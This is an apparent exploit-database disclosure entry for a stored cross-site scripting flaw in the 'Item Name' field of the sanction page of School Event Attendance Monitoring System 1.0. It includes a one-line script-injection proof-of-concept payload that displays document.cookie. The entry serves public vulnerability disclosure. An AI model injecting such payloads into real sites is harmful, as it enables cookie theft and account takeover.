School Event Attendance Monitoring System version 1.0 suffers from a persistent cross site scripting vulnerability.
e38bf1e1b8f3d3614dee59902abcac89# Exploit Title: School Event Attendance Monitoring System 1.0 - 'Item Name' Stored Cross-Site Scripting
# Date: 2021-02-11
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/12613/php-attendance-monitoring-system-barcode-scanning.html
# Software: School Event Attendance Monitoring System 1.0
# Tested on Windows 10 XAMPP
# This application is vulnerable to Stored XSS vulnerability.
# Vulnerable Page: http://localhost/attendance/sanction
# Vulnerable functionality: 'Add Sanction '
# Vulnerable Input Field : Item Name
# Payload used:
"><script>alert(document.cookie)</script>
# POC: Whenever we will go to the page (http://localhost/attendance/sanction)
where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.